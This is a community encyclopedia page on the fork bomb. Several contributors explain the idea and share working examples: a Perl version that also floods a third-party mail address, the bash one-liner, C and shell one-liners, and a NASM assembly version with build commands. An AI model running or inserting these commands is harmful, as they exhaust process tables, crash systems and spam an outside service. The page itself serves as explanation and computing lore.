fork bomb

created by Schemer
(idea) by mkb (20.6 hr) (print)   ?   (I like it!) Sun Jul 16 2000 at 6:00:51

In computer terms, to fork a program means that a running program of some sort makes a copy of itself and keeps running. Usually this is managed so that the computer is not overwhelmed, and eventually the forking process and its children exit in some fashion. However, poor management or malicious intentions can cause an infinite chain reaction. This is known as a fork bomb.

The easiest way to make a fork bomb is make a program with an endless loop that calls the fork() system call (or something similar). My favorite fork bomb for UNIX has a payload. This will only work if the victim has a properly configured command line mail client:

while (1) { `echo "." | /usr/bin/mailx -s askme oracle@cs.indiana.edu`; fork(); }

This is written in Perl and sends constant requests to The Internet Oracle.

Note: DON'T DO THIS

(idea) by -brazil- (2.7 y) (print)   ?   (I like it!) Fri Feb 02 2001 at 4:58:43
The shortest, most elegant one I know of doesn't even require a compile:

Just type in :(){ :|:&};: at the bash prompt and hit return.

By the way, the fork bomb has lost its bite on modern hardware (under i386 running Linux, at least) because it will die out when the upper limit of processes is reached, and pretty much any processor above Pentium level won't be overworked in getting there.

(idea) by Jargon (1.9 y) (print)   ?   (I like it!) Thu Jul 19 2001 at 8:59:28
fork = F = forked

fork bomb n.

[Unix] A particular species of wabbit that can be written in one line of C (main() {for(;;)fork();}) or shell ($0 & $0 &) on any Unix system, or occasionally created by an egregious coding bug. A fork bomb process `explodes' by recursively spawning copies of itself (using the Unix system call fork(2)). Eventually it eats all the process table entries and effectively wedges the system. Fortunately, fork bombs are relatively easy to spot and kill, so creating one deliberately seldom accomplishes more than to bring the just wrath of the gods down upon the perpetrator. See also logic bomb.

--The Jargon File version 4.3.1, ed. ESR, autonoded by rescdsk.

(idea) by Valeriax (4.6 y) (print)   ?   (I like it!) Fri Jan 03 2003 at 12:31:57

Here is my contribution in NASM:

section .text                        ; text segment	
        global       _start          ; make _start global	

_start:                              ; _start here	
        mov          al, 2           ; fork: system call number 1	
        int          0x80            ; interrupt. (call the kernel)	

        jmp SHORT    _start          ; jump to _start	

To compile, type:
nasm -f elf bomb.asm
ld -s -o bomb bomb.o

I find this does the job quite a bit quicker than C, killing a computer milliseconds after its run.

Update: Saturday, January 4, 2003 at 14:48:28: This is as efficient as it can be gotten (I think), it doesn't use libc if you compile it as above. The ebx paramater isn't needed. "jmp SHORT" shaves an extra 3 bytes off. "mov al, 2" shaves off another 3 (registers are initially 0).

Y'know, if you log in, you can write something here, or contact authors directly on the site. Create a New User if you don't already have an account.